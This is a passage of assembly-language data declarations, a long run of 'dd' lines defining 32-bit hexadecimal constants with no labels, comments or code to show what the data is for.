dd 0FB92C33Dh, 22F1FFCCh, 0EA2C4E7Fh, 6A7314DAh, 145B53BCh
dd 0AFFEEF5Dh, 0D1AFAD69h, 0AB7E717Bh, 44AE1E89h, 2EF5B15Fh
dd 34A2DB7Ah, 91450FEEh, 34F14702h, 69BEC633h, 4B93EB4Bh
dd 272CBFA8h, 0A0DA4F64h, 9307233Bh, 36A9A673h, 0B7CC2EDCh
dd 50614DA5h, 0F2860865h, 0E6D35EF4h, 791316CAh, 1A7AD993h
dd 0D9A47E14h, 70FE7598h, 0C8A6A2AFh, 643F921Bh, 60665AB6h
dd 4ED0D758h, 318ABBB4h, 0B49A537h, 3423B9FCh, 0F4DB4E60h
dd 0E4328DFEh, 0CA4FA9D7h, 0CA42C277h, 0FEEA6A0Bh, 0AD4F7743h
dd 806E92F1h, 3A900177h, 696694B6h, 403BBD17h, 14C63D60h
dd 0C759B0ADh, 6E2D8813h, 3F0FFAE3h, 73BD2249h, 0E3BE0F56h
dd 0F2143A55h, 512FF1C1h, 60607D8Ch, 0E6C73C51h, 61CB3870h
dd 6A8B2A94h, 1BADB883h, 55045A7Bh, 0A484AB58h, 0B64143EEh
dd 0E6C41D19h, 27E30B67h, 0CE204E9Ch, 0C5496786h, 400D058Eh
dd 9C0CC955h, 2FA9D209h, 0C2EE185Eh, 0D98C9CAEh, 0F5846B28h
dd 62552F6Bh, 9F95E55Ch, 6BFF0271h, 9D490BC1h, 5B19D035h
dd 54F73075h, 40CF3658h, 0EEC272F4h, 87FC8CC7h, 14D7A082h
dd 5EC9C9F0h, 5E01F907h, 98833E83h, 0ACB84988h, 7FAA9C2Bh
dd 633F44AAh, 821AC2C7h, 436A4665h, 4CAEA8F1h, 0FB475891h
dd 0BB791984h, 95F89732h, 4C0462FFh, 0E23F6411h, 0BBA9D4F5h
dd 8B677A6Fh, 9DB960D0h, 999E816Dh, 43B8BC85h, 910FC0F0h
dd 0DF1AC5E9h, 37E1086Dh, 0BB1BA1B6h, 75A31518h, 2E4DF7DAh
dd 9703FC6Eh, 785F093Dh, 368D9310h, 0C15F480Ah, 4B5B101Fh
dd 94611A5Ch, 8AD3F97Fh, 33825E9Eh, 12D480C2h, 3C44AE9Dh
dd 0A302A355h, 0D304FAF6h, 891DE126h, 5948F2ECh, 1D5D1919h
dd 0DA9F9F12h, 15E8CAF9h, 22E7F84Fh, 0ADA6C89Bh, 15527770h
dd 93293C05h, 6A22E2FAh, 0D96354C7h, 0DEEC4308h, 0B780877Dh
dd 0D44DA38Ah, 291C085Fh, 0BFDDB173h, 9CA23EC0h, 9D400B8Bh
dd 0B45EFB75h, 4BE03F50h, 0B5C7D4D0h, 0B7EF811Dh, 2DEB8FBAh
dd 0DDCB1E2Eh, 0C07EA5DBh, 5024E107h, 9430148Dh, 4FD6E097h
dd 0FDCFB136h, 0EF4F189Eh, 60CCC258h, 9ED075Eh, 9D01BB5Eh
dd 273B3F02h, 0B39D6433h, 72A037C4h, 0E274AF19h, 6618B4C0h
dd 0DE695F6Eh, 0BCD2F07Ah, 312F593h, 0DF272061h, 0BF663994h
dd 0D0D6D884h, 0DAD32A82h, 142A8D36h, 9CA50F7Fh, 0C2C5E77Bh
dd 0EB6FD68Ah, 0E290A205h, 60F9D044h, 0A13F80ABh, 9280013Eh
dd 18AD9231h, 0D37240FCh, 0A62A2246h, 0B0F62524h, 350BA834h
dd 747D6475h, 0ACE8F28Ah, 0EA48E3A0h, 799C3EC3h, 0EB5D6186h
dd 300DD138h, 9DCA6834h, 66DA0B06h, 0CC9CC98h, 0DD0F96E1h
dd 0B7A15105h, 5504318Ah, 0F782389Bh, 7BA31739h, 0C292D9BFh
dd 0A56332EFh, 39200BE8h, 9BC0169Ch, 9C81F2DEh, 2725B4D8h
dd 0F30BCE94h, 0C7B25A14h, 1FFF7576h, 621DB6D8h, 0DE582016h
dd 0DB48B90Eh, 87891CD5h, 69140F40h, 926445C7h, 0F0AEF104h
dd 0B8D4C725h, 93CF5CFh, 0FBE580E7h, 7DE96657h, 0E30A24E0h
dd 455B7859h, 1712B11h, 8148C7F2h, 28C5BC36h, 0AAA19426h
dd 0E846570Bh, 0C5814F4Eh, 1816ABA6h, 85C3C1DBh, 2594EA38h
dd 6FDE0F6Ah, 5063CD2Ah, 213577CAh, 0CFB136F1h, 5170A91Fh
dd 55618802h, 628E4CE1h, 39DDD004h, 33D8F044h, 0F39A4355h
dd 0D326F3FDh, 0A72C5FB5h, 6C727D96h, 2EAF1B99h, 0CE16C114h
dd 4BF5A673h, 1B3F1489h, 0E5BD2D0Dh, 0C064140h, 0C519212Dh
dd 0BADF1395h, 91293BD3h, 0E51D2DADh, 4863113Ch, 2016C375h
dd 16B5CDF8h, 4E2F159Dh, 71F4892Ah, 0F27DA436h, 0F99723C1h
dd 366F64E5h, 0D77953FAh, 0CFD15338h, 0EA1A1AFDh, 1D440ECDh
dd 0F36F1607h, 8FEB7412h, 0ED65F747h, 0D3F9C403h, 718C360Dh
dd 57E3CFB8h, 64B1F680h, 0A6D3FA25h, 8C97F7FCh, 63BDCC83h
dd 60211A6Bh, 0D34366C9h, 836E5A2Eh, 0D677C1C5h, 67B88D6Dh
dd 0C185162Ah, 0A7485B3Ah, 8B7FD022h, 702235DAh, 0D299721h
dd 404CE337h, 0CDE2349Ah, 0D2685CEFh, 62E634FBh, 306D33A8h
dd 40A62DB5h, 21F99C2h, 0D7A8AAAh, 1080EBEh, 2995874Fh
dd 0AE126A1Ah, 26149C4Ch, 71241C3Fh, 4B059A7Fh, 2D3E23DBh
dd 9A1A8C91h, 730A39DEh, 7BEB39D6h, 0FC695181h, 440254E7h
dd 239F1084h, 8428BEFCh, 0F10AC7B3h, 309BA70Ah, 0BC615614h
dd 0A9DF373Eh, 56426D4Bh, 68B03700h, 0AA816B95h, 8ABA85E5h
dd 55768528h, 0DFFE4C99h, 0DAFF31Ah, 7063E4BBh, 0B63EF741h
dd 1766623h, 7C28881Eh, 2CBA45FCh, 127EEDA3h, 0C8D15A53h
dd 0A7CD98D9h, 30937CA3h, 0DE1D0632h, 0DC11AA51h, 1A671C91h
dd 243DA014h, 0BBCB6296h, 54206D4h, 1B250855h, 47C93A2Fh
dd 6A77B48Dh, 915EE373h, 5E93CA0Ch, 0B9FF32BEh, 0B64C3A8Bh
dd 44EDB84Fh, 8C3CD4BAh, 0BD5AAED9h, 4274E4F5h, 63E432Ch
dd 65294874h, 63E45448h, 6494CB44h, 331BF269h, 2138AD6Dh
dd 2F25745Eh, 0F04C195Ah, 0CAF60E95h, 0CD3200B6h, 0EBC60A19h
dd 2166BE22h, 2C041F6Bh, 48638227h, 6E1716Fh, 4A4F9722h
dd 0E689881Dh, 3F2AFAE5h, 26786267h, 73D81348h, 0BD5811E4h
dd 0CC5823B0h, 5DE8153Ah, 5E36ED64h, 25737875h, 794DC803h
dd 296DC191h, 133350ECh, 0B1724DBFh, 606062A1h, 250B793h
dd 5735445Dh, 0D6D537EEh, 7B889FE6h, 1F1ABE04h, 0A75FB741h
dd 4B1D903Ch, 0F50CA894h, 0E4361153h, 0A00C6770h, 26E4DAE4h
dd 58A1D6Dh, 2B2A39BFh, 0AE229B5Bh, 0F7CF4B1Bh, 9B890520h
dd 3E6F484Eh, 0C5F3A5Ch, 37F677A1h, 2F07FE65h, 34360634h
dd 6292D64Bh, 0BEFB0567h, 98A85946h, 1FC45803h, 4FA3B6B5h
dd 2910DB16h, 7ED37473h, 23ADA7Fh, 3BA0CD43h, 0A18A7AC8h
dd 1849311h, 0D6171087h, 68F8589h, 2B02F6Dh, 767C7371h
dd 298FAA66h, 6CDC46A3h
dd 0AD787D83h, 59990645h, 17EAA08Fh, 0FEA31F2Eh, 0E9AE6C5Dh
dd 6422D9B0h, 24E8922Eh, 7E410768h, 835B9AA5h, 0BFEAD939h
dd 0D5204EBFh, 4C63CCAFh, 2B635541h, 0C80746EAh, 7134F147h
dd 7C5E7A6Bh, 43D59E43h, 96FB9E8Eh, 14688C46h, 115B17EFh
dd 60801DEDh, 795F2F9Fh, 4C81EA8Ah, 543AD22Dh, 7A476092h
dd 7694E38Ah, 0DE3E217Ch, 0D28D9E78h, 21DBC09Eh, 0D57CAC70h
dd 0BBE9736Fh, 4A20B098h, 330C98A9h, 25CE27E4h, 0F6DC5B7Bh
dd 8008ED3Ah, 29C24E2Ah, 76914FA2h, 37FA0D05h, 0CA58C304h
dd 97073E5Bh, 0AEDF1665h, 0DAE87E99h, 5F87570h, 278D5E1Eh
dd 969EAA5h, 0AD44A8C2h, 0A1E9509Eh, 17BC2012h, 0A84F1A54h
dd 33131111h, 0E2F7AA84h, 0DBD7DC65h, 4FB2E8ECh, 2F6D8B2Ch
dd 0DB9A9AF3h, 206B25C4h, 8AC5567Dh, 48A917E6h, 103C9566h
dd 97198854h, 83C5112Eh, 0D65044CFh, 0BCD9BD3Ah, 0AABB0097h
dd 79A3F5B7h, 265F5AA7h, 0E45F7800h, 853887A4h, 7423ABF8h
dd 9C7BD86Fh, 0C57A50EAh, 0CECB22FEh, 0D6214B75h, 394572DFh
dd 0F18C3AA3h, 6F0CD05Ch, 31D35D59h, 99D84A30h, 0CDF6B43Dh
dd 0AA501EC6h, 9FCDEA34h, 0FDC5FD82h, 9AD45C21h, 0EC58AFFDh
dd 95EC213Ch, 5EB79442h, 0A47CFD75h, 0F053FDE1h, 5E841A2Ch
dd 0DFF6F15Eh, 36236807h, 6FE14550h, 0B9FD9EBh, 98E5DDFDh
dd 8CD54C70h, 3FEC6EA1h, 957BEE56h, 6AFCD9E2h, 3027C5C6h
dd 5ECCFBDFh, 0F2452067h, 0E2C76BEFh, 0B020993Bh, 0A3EC6504h
dd 0E2D2BEF3h, 0AC8BDD73h, 17B8F87h, 0ED60CB63h, 0B4C6F9C8h
dd 4BCD5BEh, 0D30BFDEBh, 3B96C7C5h, 4A29B88Dh, 0F1BC04BAh
dd 0F25CAF74h, 1DF4EB64h, 0AE37CEC5h, 0E6C09F91h, 7A5EB817h
dd 0B2EE3F18h, 0C21112CFh, 0BC78EF6Dh, 0BCB5BF5h, 659B917h
dd 1BC5CBDBh, 0E0B8F57Fh, 0A606C833h, 5A1464F6h, 805E132Bh
dd 0D4B1C122h, 2F467E51h, 5E0DF009h, 0E2D46B11h, 4EB7C884h
dd 4E38FAFBh, 0C55D136Ch, 0C495A00Dh, 68C73E72h, 22A8564Bh
dd 64367892h, 0D1423965h, 0EF20F0F7h, 69EE6732h, 0FB4670BDh
dd 1913AD66h, 49052495h, 8C9BEA14h, 2E9A7BABh, 7B8978A3h
dd 4A8C7939h, 0CA17AC39h, 3C3B5A2Ch, 0E5AB6F96h, 4ECBF4F7h
dd 92DE54DCh, 4B6BD33h, 0A84AABA1h, 8DBAD48Ah, 16DC2F54h
dd 31F9FBB7h, 0C4D632C5h, 93CEDF0h, 9B1F6C6Bh, 98EAEE19h
dd 0AAFFB6E6h, 0E668FD64h, 61525652h, 275BB0D6h, 0E40B07B3h
dd 0B81AFB7Fh, 0ACBCB41Ah, 588628E7h, 7D3F1FB7h, 0D63CDFFFh
dd 1A391AB7h, 0E3198FD5h, 6AF7A911h, 8A1A7A94h, 0A61D29A1h
dd 540FC21Eh, 0A48E87F2h, 6D1D5CB0h, 18CB1064h, 0C757977Eh
dd 0D08A5038h, 8825ED1h, 0E0751866h, 0BCF7F086h, 1B2AC3Ah
dd 71E7D5D4h, 0CFFD9F88h, 8E6D097Bh, 0A4336B3Ah, 3BBACD6Fh
dd 0F8C8F10Bh, 6444D7E9h, 0E72DC460h, 110F1174h, 834C19ECh
dd 5038A277h, 0D61C2C25h, 0C673CE92h, 3BC4AD42h, 0E781B0C6h
dd 8D25094Fh, 915DCE8Ch, 2D01FFE0h, 7D5E70A8h, 2DA9D537h
dd 0C7B515A6h, 0A0B0B7AFh, 41363A14h, 4AEC4A8Bh, 92C48AE4h
dd 0C524C759h, 1EBD9B8Dh, 6A972704h, 0CDAE8EE0h, 2C7E36CCh
dd 0D0364029h, 0E4E83E2Bh, 0D4BB97EBh, 0D0398EAEh, 18BFF493h
dd 6B85559Dh, 0B7228747h, 7D77F23Eh, 950FD05Eh, 0EE5099E4h
dd 0F23C5D21h, 0B06B2E2Dh, 9EBBAA73h, 0EC861307h, 0EFBE7E17h
dd 6141BB20h, 681EBE15h, 0ACCDD4F1h, 7A1B3D70h, 6B641088h
dd 0F9BF4F64h, 5A6D5AAh, 0AEAD5711h, 0A6B058C9h, 0D37E861Ch
dd 6D78F2AEh, 0B6D0AFDh, 0ACBC95CAh, 0A287AE21h, 0FFBA8CD7h
dd 348B11E5h, 23EC4877h, 7F03AB9h, 0B94D478Dh, 825B66FBh
dd 5154F16Bh, 0A8608B6Fh, 35ED1770h, 0B71EF1E9h, 2658ADD9h
dd 28AE35F8h, 0C7E28F83h, 4FEA11AAh, 0BDAF5F28h, 32B0BE9Ch
dd 0DD903579h, 8ABCCFFDh, 2208AEEEh, 88555F8Dh, 41E411EBh
dd 71911847h, 0B31167F1h, 3242F1D9h, 0A960752Fh, 0C250D442h
dd 0B564BF55h, 0D09C73F3h, 22E42A1Bh, 480B0036h, 0A2312137h
dd 0E7A04AAEh, 0C8B18B63h, 0FFE359DBh, 0CD861293h, 94494EBDh
dd 0FF109863h, 38A11C01h, 0D8C03E3Ah, 6CFFCFF5h, 173A0F47h
dd 1CFC5B1Bh, 0D1F41C2Fh, 5EF71252h, 0A15911F6h, 0FF218FD6h
dd 0D98FB62Eh, 1505A795h, 378017DEh, 1C0C4E61h, 0B581AE18h
dd 14214E47h, 5862A407h, 24AD6E5Eh, 0CAA8C8CFh, 0C9A82996h
dd 362E5218h, 0C522858Dh, 1F07BD20h, 0FB80B5C7h, 8C0022D6h
dd 327FCE8Bh, 0D7A5F7A1h, 47D62134h, 0BFF54452h, 345BB8A8h
dd 0C41282BEh, 0E79E38A6h, 9C17D82Ch, 35E8E7FFh, 8AAD401Ch
dd 2B5FA1EAh, 9270262Eh, 4CAC6CD7h, 8D970B9Dh, 7411911Fh
dd 7EFD55E5h, 0CE050CDDh, 8F08D3A0h, 3FBF84C6h, 0ADEE54EBh
dd 0C07AABD5h, 0F606B84Fh, 0A1833776h, 275345EDh, 538DE0Ah
dd 0B13BF462h, 70681A6Fh, 3D7F399Eh, 14987449h, 0CC1C7B7Ah
dd 5CAFCBDDh, 33141DD6h, 0CEA35DA7h, 93C02CD4h, 0EC317A75h
dd 0C07FBB4Dh, 4AC9EE6Dh, 0FE4BDBF9h, 0D5365468h, 0F54D678Ch
dd 36A9DFBFh, 0A83D1616h, 9EC706D4h, 73501CAEh, 0C8F2A275h
dd 6AE7ED52h, 17F5A563h, 0C5423EBAh, 0F59FFB18h, 72453727h
dd 53852B4h, 0B618C726h, 8625251Bh, 1AED8AC6h, 846846D7h
dd 2403693Ah, 7A97AE82h, 50175832h, 3842F022h, 747B04B7h
dd 0E357D118h, 7DC16C4Ch, 0C76C452Fh, 138DF0CBh, 857A185Fh
dd 4F5A5AF1h, 1A20473h, 0F1E799EBh, 0DBBBD886h, 0B7670411h
dd 854498DAh, 0B2A7367Dh, 0DCDC8B11h, 33EB2688h, 38FBDF90h
dd 469E0D40h, 0A67A12C2h, 8F2C5922h, 130FA05Eh, 3E1C7F1h
dd 9DE8891Ch, 0ECCFC9FBh, 739CCCCCh, 36F744FAh, 4868335Ch
dd 2E640C00h, 2353C4F5h, 3DBD2277h, 9E352CE1h, 503B5123h
dd 98B15AC1h, 89FB6CB4h, 985C013Fh, 0A3A3F8C5h, 6A527171h
dd 0AC0B915Ah, 7CC536D5h, 37F57EBDh, 7983FFFEh, 4F288137h
dd 381BB4EAh, 7A699DA5h, 24E2C519h, 0EE288D74h, 0F78F84EAh
dd 0D700BD98h, 0E842F85Bh, 0CE89F7BBh, 0DA9B6E01h, 4D793799h
dd 63790070h, 19A8CE85h, 10E2AC85h, 0D42C0CE8h, 0CBB8E5FCh
dd 467B7B2Bh, 6F1C636Fh, 0E3C9302Ch, 8890E894h, 492AD96Fh
dd 1F4CA4A2h, 8B7606E0h, 0CC7F368Ah, 1C48278Bh, 0C90E5924h
dd 31CFCDD1h, 0A4A4D11Eh, 0D90191A6h, 31FFC4E1h, 0FB2938AFh
dd 0C8E13E08h, 98392493h, 0ACD88393h, 0F53D3C02h, 0EE263A97h
dd 60154DB0h, 9AFC5620h, 0BF5C856Bh, 11EE5376h, 15AEA711h
dd 1EF14502h, 425C1A79h, 0B0DAB557h, 1DC204F6h, 10B1DDA3h
dd 9BEB2BCh, 57EA4C32h, 2F80A5D8h, 2ECB5A75h, 6CDF1F4Ch
dd 6B6CC934h, 0DA3A1542h, 341DB3AEh, 585C2111h, 31AAB62Eh
dd 65ADAF5Fh, 0B9B8FCCBh, 5B86733Ah, 5E488FD0h, 0D0E95F2Bh
dd 0A5794F11h, 0A2375421h, 95347C81h, 0D37F399Ah, 0F741A93Dh
dd 2726F439h, 5EE42E55h, 0A028D627h, 0ACE75F8h, 734B924Bh
dd 116973FDh, 0DE37BDE9h, 2A810426h, 5FA5A474h, 339E9A8Bh
dd 0CCAB3405h, 0CC36F91h, 5FA1D3F3h, 0D5303BD7h, 0A0CAC647h
dd 45239D8h, 0B946FD39h, 0C0D0DD3Ch, 0EE7E7BFCh, 0B4CA4315h
dd 0DD242CB4h, 0AACC962Bh, 19BCAC95h, 94551A41h, 0B2E07B30h
dd 0CD2948Ah, 99C90C88h, 0AE2F516Eh, 0BBD7E5Dh, 4A33EFD7h
dd 42F40914h, 26FF37AEh, 0BCFC13FAh, 7B3B5DB2h, 0D1C6745Bh
dd 0B628A3ECh, 33629610h
dd 42903466h, 6C518A9h, 0E6E5C199h, 75BB684Ah, 0BB40A374h
dd 910CF151h, 73A1A4A7h, 0B033EE02h, 54256D2Dh, 0E1190CBCh
dd 0FBBE1CC2h, 95826757h, 31129569h, 87A72191h, 0FBCAC900h
dd 121A6AB0h, 373C9EEFh, 84635AAFh, 13EB18B3h, 99E4BB26h
dd 545009CAh, 3BF8280Bh, 4E8C6563h, 0B64F4032h, 4242B114h
dd 644757C7h, 0C55DA3C7h, 0B9652FAh, 0B93CBD1h, 0CDCB0DCDh
dd 1C533103h, 0F0385D57h, 0D7AE5A0Bh, 4F708E76h, 19DE768Ah
dd 0A84560A2h, 0B5917043h, 0A39C1021h, 3AE4EAD3h, 362F9E04h
dd 4617F865h, 0B63B59BAh, 5C0C47E7h, 6C72E7A8h, 0F486756Dh
dd 0E8DC8EA8h, 0BC2BAE22h, 0FF35D00Dh, 0CC5D355Fh, 4A2D2558h
dd 68D2A01h, 25EF43CCh, 3ED2AA64h, 480CEE6Fh, 530C5FE2h
dd 0D001A67Dh, 0B95F682Ch, 54078993h, 147A868Eh, 0EA20233Fh
dd 0DCD3907Dh, 8196320Fh, 0C4D9E941h, 65CB1095h, 6B475FD4h
dd 0C13FD7AAh, 4A72E3D9h, 0D5964EBh, 0A3B7A253h, 6B961CCCh
dd 8A1E27CDh, 2AFF11D9h, 0C51901A9h, 5EA7C32Ah, 6EDAA380h
dd 8DACA0E2h, 28286CD7h, 233E6414h, 19B106C7h, 5BA20958h
dd 40201F3h, 0DC17A84Ah, 8EC6CED2h, 0C8E7A9C9h, 91C713D8h
dd 98F0A8B1h, 2E95C686h, 0EF5F856Ah, 0B6AC72EEh, 51CCFA4Dh
dd 643C54BCh, 9FFBEE0Ch, 2E5D039Fh, 6E025B7Ch, 8812865Ah
dd 5AE8C33Fh, 6E52E30Dh, 479EF24Bh, 6CE98EDEh, 81A54C0Dh
dd 0AA3020Dh, 1412EB22h, 0B8D5905Fh, 40413A47h, 0BCECE042h
dd 8CCE9BACh, 37DC3E68h, 7C5D6E00h, 0E98A4A5Ah, 81D1814Bh
dd 0DBD432ADh, 0A0BC9184h, 0A0B55BE6h, 0ADEB9342h, 456AB59h
dd 1FEB1B01h, 0AEBBA9D4h, 18FD31DCh, 8BF17D47h, 0A45CCA6h
dd 57FE0F5Eh, 0B0A6D4B1h, 58245D39h, 132B8CF9h, 7E597E20h
dd 0E3AC5974h, 91386742h, 0D02B9213h, 0EE2F8FABh, 38EB2208h
dd 170E69BEh, 6439B9D5h, 6D65F4C1h, 0AF0F5197h, 6AB54DE7h
dd 1CC52B31h, 7291C83Ah, 6B388484h, 8A60EA28h, 21D64EA4h
dd 0C299C55h, 97A8A8F6h, 2B36540Fh, 9AFDADB6h, 0B433C06Dh
dd 9CE3F678h, 7961690Ah, 3799608Fh, 0FD94BF07h, 596B9C19h
dd 86EFE1C8h, 71D32F63h, 0ABC6C04Dh, 8904798Dh, 0F4580336h
dd 6FC40307h, 0A70D2FA8h, 4AEADDCDh, 0DE8105DCh, 311E839Bh
dd 70078223h, 0CFCE1A92h, 60F039DEh, 64D01480h, 40D1D7B7h
dd 0EAC22A35h, 0F8C618C8h, 0B4E39D87h, 6B11817h, 0BF9A2A16h
dd 73055643h, 4AE7166h, 0ECD707A3h, 15957181h, 575847EEh
dd 52FA9997h, 474B81BEh, 0C1E09610h, 0B4595362h, 0D2BEADCh
dd 6E44C1Dh, 8545A5F8h, 0EABC75C0h, 0A586F9A5h, 5F19AA02h
dd 79A511EEh, 0A38EB736h, 76A84FF6h, 0C06D5AF3h, 0FD677D7Ah
dd 0B580E2BAh, 106A3BD7h, 0E1631F95h, 0D0559C8Dh, 0B7B6DF7Bh
dd 8D7F9488h, 74234BDh, 192E0D61h, 0ED6C9AB2h, 58215C70h
dd 4E2C329Eh, 0EE54C7E5h, 0FA2FDBCAh, 65FC064Eh, 0B1BCD6B2h
dd 5AF1990Dh, 0A6F68128h, 6D3E29DCh, 348684FCh, 0AC39FC25h
dd 5999AC73h, 0F0B2A07Bh, 0ED23A467h, 0F9543C7Fh, 0EE9883A4h
dd 0D57AFD63h, 0FA65D884h, 0C1BF7CF0h, 0FD0F5A64h, 8E3F0DE3h
dd 8A9FC49Eh, 0DD54F600h, 0D39E1B22h, 0CEDDD841h, 816350EDh
dd 0B6A4DC46h, 8D774013h, 2D792FE9h, 0F0208411h, 0F0CE0F44h
dd 0B244D63Eh, 622DED11h, 915BC13Bh, 82BE179Ah, 0DB6EBFD6h
dd 0A4D51D40h, 5537962Bh, 75B722B8h, 7C8C7361h, 1B5BC654h
dd 0A3F081ABh, 0ECD97B24h, 4B453EF8h, 0F5C3B04Eh, 5284D776h
dd 0A2C4F1F5h, 41FBA5F8h, 1B7E5FF7h, 2046E9DAh, 0AB908523h
dd 0E09F734Eh, 2B2DDC72h, 48085558h, 0F8B5BFA0h, 0CB757391h
dd 7139117Ch, 8C0B5B9Ch, 0E1905B35h, 79E40547h, 8A1547DDh
dd 753A21BBh, 33628525h, 0B1A9B814h, 18439E01h, 7483441Ch
dd 0BDE80D55h, 52B6875h, 8C4A10F0h, 0B8B62C08h, 9A21A0B6h
dd 0A38F263Ch, 9EE42AABh, 0AFB51575h, 0D1A4603Fh, 61C9F5F5h
dd 496AA54Ch, 4B1773EAh, 650C1A31h, 4E4C25E2h, 2F982826h
dd 0D966600Dh, 0BD1BE4A1h, 0B8E85E6Fh, 0FAB0A9A5h, 26EA60B2h
dd 0FEBA95D3h, 0E8B76A45h, 0D39971A7h, 8DE2E472h, 0F9F01E89h
dd 3EF4F6D5h, 0B2AAC27Ch, 0A92962D3h, 0A8471800h, 0DE2BCA9Ch
dd 0F4216390h, 3ABC9D00h, 200811F2h, 0AFA967FBh, 0DA3CD125h
dd 0DAFB144Bh, 0EA5CBF47h, 40BAF8A7h, 568E3766h, 0D9ED9E0Bh
dd 0ECCAF15Fh, 15B85939h, 0A1AE984Fh, 27502994h, 82D61EF6h
dd 27755A6h, 0A5672055h, 6C42E98Fh, 8CFCD6C1h, 0C3274F5Ch
dd 0B916E612h, 93DE1E2Ch, 0BA313B67h, 0AA416FE9h, 0C0877490h
dd 0F096F692h, 3721779Ch, 7F4BD062h, 71EAB2A9h, 30D3131Eh
dd 4232640Ch, 7B02DABCh, 4D8CAA61h, 1E3B4323h, 80D5B552h
dd 0D0E5585Ch, 10066BC7h, 0F8AE8DC5h, 28AD4ED9h, 0E8B90CE8h
dd 0DA58D757h, 6462E7CFh, 1B892EE5h, 32CC0EB5h, 31FC449Ch
dd 53459895h, 0CE2579A8h, 6207F8C0h, 0C1CF8C7Ch, 0D46379EAh
dd 83C768EEh, 823AB093h, 5B7B5471h, 0E2D76EB2h, 0EE341935h
dd 0CF7CA838h, 3AE8183Ah, 812A798Eh, 43BEA419h, 1ACBABA0h
dd 284537ABh, 0DCA2FF5Fh, 0DE71D2DEh, 36C8BC39h, 8BCFD87Bh
dd 46C686DBh, 0F8D788DBh, 0B91E50E8h, 17A371ECh, 0F3B3E50Ch
dd 83557E93h, 3B60039Fh, 0E328F515h, 0EDC69500h, 0E9F35DABh
dd 9978850Eh, 3E01AEF0h, 1C7E0EEFh, 0DC6F6AAEh, 3AEAA9C8h
dd 4B2D0749h, 0A5524510h, 0B351F572h, 374AFD7Dh, 8B3D6C36h
dd 5746C0C9h, 1A45E814h, 0EA4952B3h, 6BC49920h, 52003DD3h
dd 0D849B770h, 627C80h, 9575935Ch, 0DBC62AADh, 0FF2EC3A6h
dd 0C549C4Eh, 739A138Eh, 0BFDD16D3h, 4F034A8Eh, 0D6CFB04Eh
dd 29C7258Ah, 59043F45h, 90A3AA18h, 7EDF8C62h, 0F772EA7h
dd 0E1A00AB4h, 15764C09h, 0EE9C77E9h, 78AE880Eh, 75489B7Ch
dd 787383E3h, 0FD515887h, 0ABE00CEFh, 7DDBAB48h, 82869A0h
dd 900504F6h, 5CEB486Ah, 32276642h, 2CFF03CCh, 0E1FD9AECh
dd 35ED1655h, 0DDE82C09h, 1BDFA709h, 699FD9CCh, 0D6E151EBh
dd 93D5C900h, 240F271Eh, 1300971Fh, 0BFC822Bh, 0B0088AB5h
dd 0CA40519Eh, 0C570F397h, 4444B952h, 14B195EAh, 8368BAF9h
dd 0FCA6E0E6h, 0BFBD5860h, 671BA6AEh, 0F04E4BF2h, 0B5298838h
dd 87DCBF2Eh, 43F927BDh, 0DE71F40Fh, 0C5BB1473h, 36FC6DAh
dd 8BE81F83h, 4DBB56E4h, 0DCF9EE93h, 0AE10E55Dh, 0A012B211h
dd 1556BF42h, 5D8DB338h, 195A1E1Ch, 0A89D2DACh, 90591914h
dd 0F77D30AEh, 9FFE0DB6h, 63733468h, 9061ED45h, 436FB3E3h
dd 495B1583h, 873FA027h, 0DF3FC6FBh, 872D4422h, 11C312E3h
dd 0C16869ACh, 0E1280B87h, 36F10358h, 29DD5DB5h, 0A75F8681h
dd 244E728Dh, 8B6D8011h, 0CE613785h, 46E92C7Ch, 4A7695E1h
dd 2E6A6010h, 71FE887Dh, 0DE57B3BBh, 8953758Dh, 0D2B71265h
dd 0F364B763h, 631CB456h, 0A0049998h, 0AA2276E6h, 0E9839BAh
dd 5076604h, 2B31D7C0h, 0D150ECAFh, 6724DECAh, 0A337AFD8h
dd 26A694ABh, 0C46E27EDh, 0CE3C294Dh, 23805E2Eh, 0DCDB2792h
dd 40B2B4C6h, 0B881FF99h, 0D4FEAEAEh, 0E1B2D6CAh, 9C9B67EEh
dd 514A48AFh, 95DE1A4Ch, 7BFBB95Fh, 39405CDEh, 0FDEB6544h
dd 759C3708h, 0BE0543E2h, 887B4316h, 90B6AB62h, 520FC3C4h
dd 9D33D72Ch, 3043B533h, 7917B0ECh, 0E57F651h, 2C79945h
dd 0A5110FC3h, 598F904Fh
dd 8057203Bh, 0B8BF584Dh, 80695D4Eh, 0D4D7205Bh, 0FDB96407h
dd 3DE4A87Ch, 2031FBEBh, 89D92AE2h, 557276C5h, 0BEC76DD2h
dd 25586F94h, 0A13E07D9h, 8897F993h, 29CA1EDCh, 23C7EF96h
dd 8BFA404Ch, 857AECC1h, 0D96C956h, 9D2F64F5h, 72C9E340h
dd 0ABCF0041h, 3FCBFAD5h, 7C2652BDh, 7F14608Ch, 6F46F661h
dd 3EB1EF1Ch, 4121ADE1h, 0E6F7F4D1h, 0A7079A1Eh, 9B761D12h
dd 477559D0h, 0E22811C9h, 0D04163C9h, 0B6F5A24Eh, 5AB2307Dh
dd 0B0B80FF1h, 0AD326C2Fh, 8E4742E8h, 0F443FA12h, 30E9A4EBh
dd 2C687396h, 1E18F6E2h, 4D90FE5Ah, 9BB9D703h, 0C191F164h
dd 703AC5F2h, 7977D67Dh, 1F08C4D0h, 2FBC36FDh, 7039F240h
dd 0D96FD30Dh, 1D7D2276h, 45F55184h, 0C0AA8998h, 8ABB7C7Dh
dd 1E11F81Ch, 0BD677708h, 5C5A7DB8h, 72FCA697h, 9FC3839h
dd 4E9E8EAFh, 0F23B7D1h, 0C6CBFCC0h, 5B6FEDF7h, 8286E6F0h
dd 86463177h, 5BA0B8Dh, 572DEAA3h, 1604DC91h, 96EF8B55h
dd 92FADCDDh, 0BE045643h, 7EBDA648h, 6C2E7694h, 83DC1272h
dd 0E5495B25h, 6416227Ah, 82263982h, 7D5D4898h, 0F76669F3h
dd 4D58C94Ch, 1F79E9E2h, 1E94AD90h, 99552F7Ch, 7D28863h
dd 5A01D777h, 4F7ADE9h, 608A7B43h, 223F7569h, 8AAF2C58h
dd 0C6A49DB1h, 0A780E8E4h, 0BD8A2C81h, 0F5209324h, 788B5CD0h
dd 0FF73439Bh, 0E6E2375Ah, 64C95BF6h, 0A42B3AEh, 490E45D9h
dd 59DDA171h, 4767F22Ah, 95394954h, 51EA50C9h, 0CF2BD361h
dd 9D3876FBh, 0B8D3C48Ah, 336FC42Fh, 83ED15FEh, 3B2839CCh
dd 2B9B918h, 56396E0Bh, 818B88BBh, 8644D378h, 0EFA6010Ah
dd 11714255h, 69A359C9h, 0E7E37B7Fh, 0F7958F7Dh, 4C312AAEh
